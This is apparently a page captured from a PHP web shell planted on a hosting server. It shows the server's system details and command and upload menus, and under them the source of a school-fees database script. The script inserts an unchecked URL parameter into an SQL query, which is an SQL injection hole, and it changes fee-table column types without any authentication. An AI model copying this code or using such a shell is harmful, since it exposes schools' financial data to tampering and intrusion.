|
Server IP : 2a02:4780:3:1493:0:3736:a38e:7 / Your IP : 216.73.216.139 Web Server : LiteSpeed System : Linux sg-nme-web1393.main-hosting.eu 4.18.0-553.40.1.lve.el8.x86_64 #1 SMP Wed Feb 12 18:54:57 UTC 2025 x86_64 User : u926327694 ( 926327694) PHP Version : 7.4.33 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u926327694/domains/smsoft.in/public_html/demo/config/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
include"./dbconnect.php";
if(isset($_GET['is_decimal']) && $_GET['is_decimal'] != '' && isset($_GET['school_code']) && $_GET['school_code'] != '') {
$schoolCode = $_GET['school_code'];
$sel_school = mysqli_query($con, "select * from schools where schoolCode='$schoolCode'");
$main_username = '';
$main_password = '';
$main_dbname = '';
while ($row_school = mysqli_fetch_array($sel_school)) {
$main_username = $row_school['dbUsernameFees'];
$main_password = $row_school['dbPassword'];
$main_dbname = $row_school['dbFees'];
}
$school_db_con = mysqli_connect("localhost",$main_username,$main_password,$main_dbname);
if($school_db_con) {
if($_GET['is_decimal'] == "1") {
mysqli_query($school_db_con, "ALTER TABLE `stud_basic2` CHANGE `Total_Amount` `Total_Amount` DECIMAL(10,2) NOT NULL, CHANGE `Paid` `Paid` DECIMAL(10,2) NOT NULL, CHANGE `Balance` `Balance` DECIMAL(10,2) NOT NULL, CHANGE `discount` `discount` DECIMAL(10,2) NOT NULL;");
mysqli_query($school_db_con, "ALTER TABLE `paid_fees` CHANGE `Fine_Amount` `Fine_Amount` DECIMAL(10,2) NULL DEFAULT NULL, CHANGE `Online_Charge` `Online_Charge` DECIMAL(10,2) NULL DEFAULT NULL, CHANGE `Total_Amount` `Total_Amount` DECIMAL(10,2) NULL DEFAULT NULL, CHANGE `Grand_Total` `Grand_Total` DECIMAL(10,2) NULL DEFAULT NULL;");
mysqli_query($school_db_con, "ALTER TABLE `paid_fees_delete` CHANGE `Fine_Amount` `Fine_Amount` DECIMAL(10,2) NULL DEFAULT NULL, CHANGE `Online_Charge` `Online_Charge` DECIMAL(10,2) NULL DEFAULT NULL, CHANGE `Total_Amount` `Total_Amount` DECIMAL(10,2) NULL DEFAULT NULL, CHANGE `Grand_Total` `Grand_Total` DECIMAL(10,2) NULL DEFAULT NULL;");
echo"The school now accepts decimal values in the fees section."; exit;
}
else {
mysqli_query($school_db_con, "ALTER TABLE `stud_basic2` CHANGE `Total_Amount` `Total_Amount` BIGINT NOT NULL, CHANGE `Paid` `Paid` BIGINT NOT NULL, CHANGE `Balance` `Balance` BIGINT NOT NULL, CHANGE `discount` `discount` BIGINT NOT NULL;");
mysqli_query($school_db_con, "ALTER TABLE `paid_fees` CHANGE `Fine_Amount` `Fine_Amount` INT NULL DEFAULT NULL, CHANGE `Online_Charge` `Online_Charge` INT NULL DEFAULT NULL, CHANGE `Total_Amount` `Total_Amount` INT NULL DEFAULT NULL, CHANGE `Grand_Total` `Grand_Total` INT NULL DEFAULT NULL;");
mysqli_query($school_db_con, "ALTER TABLE `paid_fees_delete` CHANGE `Fine_Amount` `Fine_Amount` INT NULL DEFAULT NULL, CHANGE `Online_Charge` `Online_Charge` INT NULL DEFAULT NULL, CHANGE `Total_Amount` `Total_Amount` INT NULL DEFAULT NULL, CHANGE `Grand_Total` `Grand_Total` INT NULL DEFAULT NULL;");
echo"The school no longer accepts decimal values in the fees section."; exit;
}
}
else {
echo"Unable to connect school database."; exit;
}
}
else {
echo"Please include the `is_decimal` and `school_code` parameters in the URL."; exit;
}
?>